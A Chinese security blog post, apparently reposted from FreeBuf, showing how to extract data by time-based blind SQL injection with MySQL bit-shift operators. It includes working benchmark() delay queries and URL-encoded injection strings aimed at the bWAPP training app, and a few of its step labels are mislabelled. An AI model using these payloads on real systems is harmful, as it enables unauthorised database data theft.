使用MySQL位函数和运算符进行基于时间的高效SQL盲注
作者:admin | 时间:2018-11-14 13:05:52 | 分类:黑客技术 隐藏侧边栏展开侧边栏
在2011年至2012年间,我曾对MySQL数据库集成的各种PHP应用程序进行了一系列的渗透测试。在此期间我发现,这些数据库大都易受到基于时间的SQL盲注攻击。但由于各种限制措施,想要利用它们并不容易。为此,我开始在网上寻求答案。偶然间,我翻阅到了一篇有关使用位移技术进行SQL注入的文章。这篇博文向我们展示了如何使用“右移”运算符(>>),枚举从SQL查询返回值的二进制位。
注:有关位功能和操作符的完整说明请参阅:https://dev.mysql.com/doc/refman/5.7/en/bit-functions.html
右移位运算符会将二进制值1位的位数向右移位,如下所示:
mysql> select ascii(b'01110010');
+--------------------+
| ascii(b'01110010') |
+--------------------+
| 114 |
+--------------------+ 1 row in set (0.00 sec)
mysql> select ascii(b'01110010') >> 1;
+-------------------------+
| ascii(b'01110010') >> 1 |
+-------------------------+
| 57 |
+-------------------------+ 1 row in set (0.00 sec)
这可用于在SQL盲注时枚举字符串的字符。如果数据出现在完整的ASCII表中,则每个字符最多可以枚举8个请求。
这里我们希望提取的数据是select user()查询返回的第一个字符。
第1位:
我们首先找到第一位的值:
????????
有两种可能性:
0 (Decimal value: 0) // TRUE condition
或
1 (Decimal value: 1) // FALSE condition
mysql> select if ((ascii((substr(user(),1,1))) >> 7 )=0,benchmark(10000000,sha1('test')), 'false');
+--------------------------------------------------------------------------------------+
| if ((ascii((substr(user(),1,1))) >> 7 )=0,benchmark(10000000,sha1('test')), 'false') |
+--------------------------------------------------------------------------------------+
| 0 |
+--------------------------------------------------------------------------------------+ 1 row in set (2.35 sec)
SQL查询导致时间延迟,因此条件为TRUE,第一位为0
0???????
第2位:
现在我们来查找第二位的值,和上面一样有两种可能性:
00 (Decimal value: 0) // TRUE condition
或
01 (Decimal value: 1) // FALSE condition
mysql> select if ((ascii((substr(user(),1,1))) >> 6 )=0,benchmark(10000000,sha1('test')), 'false');
+--------------------------------------------------------------------------------------+
| if ((ascii((substr(user(),1,1))) >> 6 )=0,benchmark(10000000,sha1('test')), 'false') |
+--------------------------------------------------------------------------------------+
| false |
+--------------------------------------------------------------------------------------+ 1 row in set (0.00 sec)
SQL查询没有发生时间延迟,因此条件为FALSE第二位为1
01?????
第3位:
现在我们查找第三位的值,同样两种可能性:
010 (Decimal value: 2) // TRUE
或
011 (Decimal value: 3) // FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 5 )=2,benchmark(10000000,sha1('test')), 'false');
+--------------------------------------------------------------------------------------+
| if ((ascii((substr(user(),1,1))) >> 5 )=2,benchmark(10000000,sha1('test')), 'false') |
+--------------------------------------------------------------------------------------+
| false |
+--------------------------------------------------------------------------------------+ 1 row in set (0.00 sec)
SQL查询没有时间延迟,因此条件为FALSE第三位为1
011?????
第4位:
现在我们查找第四位的值,两种可能性:
0110 (Decimal: 6) // TRUE
或
0111 (Decimal: 7) // FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 4 )=6,benchmark(10000000,sha1('test')), 'false');
+--------------------------------------------------------------------------------------+
| if ((ascii((substr(user(),1,1))) >> 4 )=6,benchmark(10000000,sha1('test')), 'false') |
+--------------------------------------------------------------------------------------+
| false |
+--------------------------------------------------------------------------------------+ 1 row in set (0.00 sec)
SQL查询没有时间延迟,因此条件为FALSE第四位为1
0111????
第5位:
现在我们查找第五位的值,两种可能性:
01110 (Decimal: 14) /// TRUE
或
01111 (Decimal: 15) // FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 3 )=14,benchmark(10000000,sha1('test')), 'false');
+---------------------------------------------------------------------------------------+
| if ((ascii((substr(user(),1,1))) >> 3 )=14,benchmark(10000000,sha1('test')), 'false') |
+---------------------------------------------------------------------------------------+
| 0 |
+---------------------------------------------------------------------------------------+ 1 row in set (2.46 sec)
SQL查询导致时间延迟,因此条件为TRUE第五位为0
01110???
第6位:
现在我们查找第六位的值,两种可能性:
011100 (Decimal: 28) // TRUE
或
011101 (Decimal: 29) // FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 2 )=28,benchmark(10000000,sha1('test')), 'false');
+---------------------------------------------------------------------------------------+
| if ((ascii((substr(user(),1,1))) >> 2 )=28,benchmark(10000000,sha1('test')), 'false') |
+---------------------------------------------------------------------------------------+
| 0 |
+---------------------------------------------------------------------------------------+ 1 row in set (2.44 sec)
SQL查询导致时间延迟,因此条件为TRUE第六位为0
011100??
第7位:
现在我们查找第七位的值,两种可能性:
0111000 (Decimal: 56) // TRUE
或
0111001 (Decimal: 57) // FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 1 )=56,benchmark(10000000,sha1('test')), 'false');
+---------------------------------------------------------------------------------------+
| if ((ascii((substr(user(),1,1))) >> 1 )=56,benchmark(10000000,sha1('test')), 'false') |
+---------------------------------------------------------------------------------------+
| false |
+---------------------------------------------------------------------------------------+ 1 row in set (0.00 sec)
SQL查询没有时间延迟,因此条件为FALSE第七位为1
第四位必须为1
0111001?
第8位:
现在我们查找第八位的值,两种可能性:
01110010 (Decimal: 114) // TRUE
或
01110011 (Decimal: 115) // FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 0 )=114,benchmark(10000000,sha1('test')), 'false');
+----------------------------------------------------------------------------------------+
| if ((ascii((substr(user(),1,1))) >> 0 )=114,benchmark(10000000,sha1('test')), 'false') |
+----------------------------------------------------------------------------------------+
| 0 |
+----------------------------------------------------------------------------------------+ 1 row in set (2.33 sec)
SQL查询导致时间延迟,因此条件为TRUE第八位为0
01110010
到这里我们就完整获取到了select user() 查询返回的第一个字符的二进制值,转换成十进制后为114。而114在ASCII表中表示的是r字符,因此该数据库用户名的首字母为r。
mysql> select user();
+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+ 1 row in set (0.00 sec)
为了说明这种类型的SQL盲注攻击,我已向大家演示了如何在bWAPP易受攻击的应用程序上,枚举“select user()”返回的第一个字符的第一个和最后一个二进制位:https://www.vulnhub.com/entry/bwapp-bee-box-v16,53/
1. 第一位SQLi字符串返回TRUE条件:
test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=0,benchmark(5000000,md5('test')),+'false')%23
2. 第一位SQLi字符串返回FALSE条件:
test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=1,benchmark(5000000,md5('test')),+'false')%23
3. 第八位SQLi字符串返回FALSE条件:
test%27+and+if+((ascii((substr(user(),1,1)))+>>+0+)=114,benchmark(5000000,md5('test')),+'false')%23
*参考来源:stealingthe ,FB小编secist编译,转自FreeBuf